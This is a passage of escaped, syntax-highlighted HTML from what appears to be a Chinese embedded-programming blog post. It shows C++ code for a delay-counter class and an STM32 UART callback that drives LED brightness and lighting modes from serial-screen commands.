class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eDelay\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ectn\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003ecpp\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::~\u003c/span\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003ectn\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ectn\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e## 串口屏控制(状态控制和直接控制)\n这里的状态一是Crt_Main_Task, 也就写了个流水,二是每个灯独立的状态控制,用到的也就一个 呼吸。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e62\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ereset_whole\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eresetAll\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edelay_20\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_RxCpltCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUART_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_CLEAR_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_CLEAR_IDLEF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_UART_DISABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 全关复位\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x01\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset_whole\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设置亮度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x02\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan 